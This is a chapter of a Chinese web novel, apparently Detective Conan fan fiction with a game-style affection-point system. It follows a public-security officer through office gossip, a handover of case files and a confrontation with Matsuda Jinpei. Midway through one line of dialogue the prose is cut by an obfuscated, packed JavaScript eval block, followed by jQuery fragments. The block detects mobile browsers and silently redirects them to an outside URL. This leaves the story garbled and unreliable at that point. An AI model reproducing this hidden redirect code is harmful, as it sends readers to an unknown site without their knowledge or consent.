【早,要记得吃早餐哦。】
【早安,做了三明治[图片]】
【看起来味道很不错,有机会也教教我吧。】
一之羽巡一边吃着早餐一边单手打字,对自己突然多了恋爱对象这件事适应良好。
飞鸟长官安排来的人身份不可能简单,他很期待任务结束后会发放什么奖励,况且解密一个显然有很多秘密的人和揭秘一个复杂的案件对他来说同等有趣,他享受这种拨云见日破开谜题的过程。
到达警察厅的时候还不到八点,不过办公室里倒是已经坐了一半人了,这一半里又起码有一半是通宵加班没来得及回家的,一之羽巡放轻脚步穿过办公室,只和还有精神爬起来的同事小声打了招呼,去窗边看自己的花。
他检查了一下叶片和花苞,顿了顿,用指腹按了按花盆里的土壤,果然,又有人趁着他不在的时候来浇了水,不知道是不是又是那位不按常理出牌的红方首领。
——这并不是一盆普通的花。
按照公安课其他人的说法,这是他们办公室唯一室花,全权委托给室草一之羽警官照料;从游戏的角度出发,这是目前唯一关联植物乐园版块的植株,一不小心养死了那又要重头来过,从种子到幼苗再到今日的即将盛开,所耗费的时间已经和他在警察厅升职所用的时间等量。
如果抛开一切不谈,无关游戏通关,这是他在游戏内的兄长一之羽青词送他的入职礼物,一枚意义非凡的花种长出的嫩芽,自然也是一盆意义非凡的花。
一之羽巡的指尖轻轻敲了敲花盆边缘,若有所思。就这么挺下去不是办法,尸体泡在水里会巨人观,花浇太多水也不是好事。
他抱着花盆换了个位置,方便盆栽更好地沐浴阳光,这才回自己的工位坐下。
刚一落座,一个人影丝滑闪现登场。
“一之羽警官!”
一之羽巡用湿巾擦手,心道该来的果然逃不过,抬头打了声招呼:“早啊,忍足警官。”
忍足警官毫不客气,直入主题:“快跟我说说,飞鸟长官那天找你做什么!”
面对那双闪着八卦之火的眼睛,一之羽巡诚实回答:“飞鸟长官给我介绍了一个恋爱对象。”
忍足警官震惊:“what?!!”
——从未料想过的角度出现了!
“什么?!”
“然后呢然后呢?”
一之羽巡面对闻八卦而动瞬间围上来的一众眼底冒光的同事,轻咳一声:“见了一面,聊得还挺愉快的……”
“嚯!!”
“你小子!!”
“成了记得告诉我们,你要请客!”
“室花要开了,现在室草也要被摘走了!”
大家都是有分寸感的人,又不是审问嫌疑人,没人盘根问底再深究下去,很快便谈笑着散开。这个话题仿佛为死气沉沉的办公室注入了一股能量,卡住的齿轮重新启动,各司其职忙碌起来,只留忍足警官还在原地不动。
“唉……”
“怎么了,忍足警官?”
忍足警官是一之羽巡刚到警察厅时的带教,虽然有健忘debuff还经常发表各种消极怠工言论,但他本身的的确确是一个专业水平过硬的优秀公安,无论是私下里还是工作中,一之羽巡跟这位警官都相处得很愉快。
等其他人散开了忍足警官才捶胸顿足地说:“虽然早就知道会有这么一天,但还是比我想象中快太多了!”
一之羽巡哑然失笑:“别多想,没有的事。”
忍足警官没继续说下去,有些话没必要说太清,对方是个聪明人,能听懂他的言外之意。
当年他不情不愿地接下带新入职的后辈适应工作的任务,但仅仅一个上午过去他就有所预感,这是个百年难得一遇的人才,也注定是公安课无法长久留下的人才。
忍足警官在心里骂了一句十八楼的警备企划课。
大概是真的不经念叨,一个不属于这间办公室的人敲了下门,顶着一众审视的目光大摇大摆地走了进来。
“一之羽警官,关于藤原议员的案子,我有点问题想和你讨论一下,不知道你现在有没有时间?”
一之羽巡抬眸看了一眼,是警备企划课的人。他和警备企划课几乎没什么交集,自然也谈不上眼熟,不过上周就是这个人带着证件来截胡了他的案子,他当然记得清清楚楚。
用了敬语,态度还行,不过找被截胡案子的人讨论案情,多少有些冒昧了。
一向佛系的忍足警官罕见地直接开了麦:“又是你,你够了吧!”
一之羽巡起身,轻轻拍了下忍足警官的胳膊,递了一个安抚的眼神,忍足警官忿忿不平地闭上嘴,没忘再白那个警备企划课的人一眼。
他从抽屉里拿出一个文件夹,“我猜你们应该是在牵扯到藤原警视长的那部分遇到问题了吧,藤原家是一个大家族,三代内无论是警界商界还是政界都有所涉及,有了这份资料很多线索就能串联起来了,拿去吧。”
对方有些惊讶,接过来翻开看了两页,眼神微变,再开口时语气多了几分郑重:“谢谢,你这份报告做得还真是……真不愧是传闻中的一之羽。”
“谬赞了。”
顿了顿,那人伸手正色道:“一直没自我介绍,我叫做高原慎行。”
一之羽巡笑而不语,忽略了那只手,也没再搭腔。
他做出了让步,提供了帮助,但不代表他毫不在意毫无怨言。
这是一场游戏,但他不是来游戏人生的。
和忍足警官的中庸理念不同,为了通关,他理所当然地追求更加完美的履历和更快的升职速度,不过忍足警官有一句话他倒是赞成——哪怕立功的人不是自己,真相总要水落石出。
他享受解谜的过程,但效率同等重要,正义不仅不该缺席,更不该迟到,他拿出这份资料不是为了帮助警备企划课,而是在还原真相,仅此而已。
高原警官还想再说些什么挽回一下警备企划课的形象,一旁的忍足警官没给他这个机会,搂着脖子强行把人拖了出去。
一之羽巡抬手欲言又止,已经走到门口的忍足警官转头笑容狰狞:“我跟这家伙是同期,你忙你的,我们叙叙旧!”
“……好的。”
出了公安课的办公室,忍足警官皮笑肉不笑地锤了同期一拳:“你们干嘛偏要抢这个案子,案宗我也看过,耗时耗力又复杂,当时除了一之羽根本没人有把握敢接这个烫手山芋,既然没涉及什么国家安全层面,警备企划课偏要掺合个什么劲儿?”
高原警官吐槽:“你们觉得烫手我们就不觉得烫手了吗?上头怎么安排我们就怎么做啊。”
“上头安排的?”忍足警官皱眉,脑海中突然闪现上周秘书处来找人的画面,“……飞鸟长官?”
“情况就是这么个情况,多的你就别再问了,你权限不够。”
“不要脸。”忍足警官毫不客气道:“抢了人家小年轻的案子以后还不想自己花时间搞,直接伸手要线索,这跟抢功劳有什么区别,你们警备企划课就是强盗!”
高原警官一时词穷:“随你怎么说,下次有空再聚。”
“聚个屁!你权限不够!”
……
午休时间,一之羽巡去了一趟警视厅。
警视厅和警察厅两栋大楼四舍五入算挨着,串个门联合办个案都很方便,不过职级不同,警视厅那边对联合办案这种事并非每次都心甘情愿,公安的证件和调令拿过去管用但单纯的名号并不管用,还有挨揍的风险。
一之羽巡在警视厅有位熟人,人缘好到几乎可以把警视厅从上到下的人脉都打通,连带着他也跟着沾了点光,在那边混了个脸熟。
“一之羽警官,好久不见了,你来找萩原警官吗?”
一之羽巡站在办公室门口,笑着说:“好久不见,萩原他在吗?”
“我帮你看看!”那人刚转身,一个身影气势汹汹地从里面走出来。
“松……松松松田队长!”
来者边走边摘下墨镜,微卷的黑色发尾随着步伐晃动,走路带风,远远吼了一声:“一之羽巡!你给我站住!”
正要开溜的一之羽巡笑容一僵,被抓着领子拖进了办公室,一旁眼看情况不对的新队员一溜烟跑没影了。
松田阵平眼里几乎快冒出火,揪着某人的领子开始输出:“你竟然在公交车上冒充我拆弹?!还说什么以职业生涯担保?!锦旗都送到我桌子上了,你以松田的职业生涯担保松田知道这件事吗?!”
“松田警官,你听我解释,因为……”
“你姓松田吗你就说自己是松田,我怎么不知道你什么时候跟我姓了?!”
“当时情况紧急,所以才……”
“你考排爆资质证了吗?!公交车这种非稳定环境适合拆弹吗?!”
“我跟萩原学过……”
“还有那家伙,我一会儿再找他算账,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353359|167987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们两个谁都别想跑!”
一之羽巡自知理亏,也不反驳,松田阵平揪着面前那人的领子,该说的都说完了,一时间竟然有些词穷。
认识两年,还是第一次轮到他教训一向以完美著称的一之羽巡,对上那对漆黑的眸子,松田阵平才后知后觉地意识到距离压缩得过分了,而他们根本不是交好到这种程度的朋友,但又觉得现在就松手就输了气势,瞪着眼睛不肯别开视线。
午休时间,正是饭点,周围没人,松田阵平咬着后槽牙看近在咫尺的那张脸,仿佛是第一次认识这个人一般,诡异地生出个念头:原来这家伙长这样?
发丝垂在颊侧,刘海有些长了,已经过眉,眼珠乌黑,亚洲人的虹膜很少有会黑到这种地步的,即使在阳光下也几乎透不出光,只薄薄地覆盖一层模糊的光影,看不穿心中所想,眼底刻着高强度工作下难以磨灭的青黑色,那为他的清隽中添了几分不合常理的病态,鼻梁笔挺,唇薄且唇色淡,对于一个经历了警校训练以及入职后跑了几年现场的公安警察来说皮肤白得不太正常——这是一张只要不笑就让人本能脊背发寒的脸,即使露出八颗牙的标准笑容也像是高高在上的敷衍和假面,可只要眉眼间稍微露出点弧度,就仿佛冰消雾散,只让人想要注视和信服。
被誉为警界明日之星的一之羽巡,比他早一届,在警校时就有所耳闻,是教官们口中前途不可限量的完美化身,他刚毕业的那年一之羽巡还是警部补,现在已经摇身一变升到了警视,对于很多警察来说,这就已经是一生无法突破的终点线,而一之羽巡的仕途才刚刚开始。
传说级别的专业素养和令人震撼的履历让人本能地忽略了那张脸,已经到了没人关心他究竟长什么样的地步,提起时总是更先想起坐火箭式的升职速度,松田阵平也是其中之一。
他盯着那双含笑的黑眸,攥紧的那块领口莫名烫手起来,松田阵平再次想:见鬼了,一之羽巡原来长这样。
【松田阵平:+7】
一之羽巡:?
他慢半拍地反应过来,恍然大悟:“松田警官,你是在担心我啊?那真的只是一个很简陋的爆/炸装置,我跟着萩原拆过很多次,有把握的。”
松田阵平:“谁担心你了,你哪只眼睛看到我担心你了??你脑子瓦特了??”
【松田阵平:+3】
【松田阵平:69/100】
一之羽巡看着松田阵平的好感度,心想:两只眼睛都看到了。
这么一算,果然是苏格兰有问题。
正常来说哪有会按照小数点来加好感度的?连一向看他不顺眼的松田小队长都给他加了10分,那可是整整……
????
等等??
加7再加3以后69分吗???
“松田警官,你……”
一之羽巡的眼神古怪起来,松田阵平憋着一口气梗着脖子继续对视,几秒后彻底败下阵来,猛地后撤两大步。
“你干什么?离那么近干嘛?!”
“啊?刚刚不是你突然……”
正在吃饭的萩原研二被机动队新来的队员匆匆忙忙喊回来,据说松田警官在跟一之羽警官算账,他赶回爆/炸/物处理班,正好撞见一之羽巡正一脸探究地往松田阵平面前凑,松田阵平左躲右躲避无可避,远远看起来不像是被算账,反倒像是在调戏良家少男。
他被自己的想法逗笑了,扬声打断那两人:“一之羽!来找我的吗?”
到门口他才发现幼驯染脸色不对,狐疑道:“小阵平?你脸怎么这么红?”
一之羽巡事先声明:“不要误会,我绝对没有故意惹你家幼驯染生气,我来只是想问问你晚上要不要一起吃个饭而已。”
他看了一眼旁边的某个卷毛,“嘶”了一声:“这……松田警官,你大人有大量,消消气,把自己气坏就不好了,锦旗你不喜欢我一会儿带走。”
一想到那面锦旗上的标语,松田阵平的脸一下由红转黑:“哈?!你想打架吗?!”
……
远在北海道执行任务的诸伏景光打了个喷嚏。
“感冒了?”
诸伏景光摇摇头,把刚刚拍的风景照发出去。
【最近东京降温,注意保暖[图片]】
【你也是。】
【期待下次见面。】
【****(苏格兰):+0.2】
【****(苏格兰):11.1/100】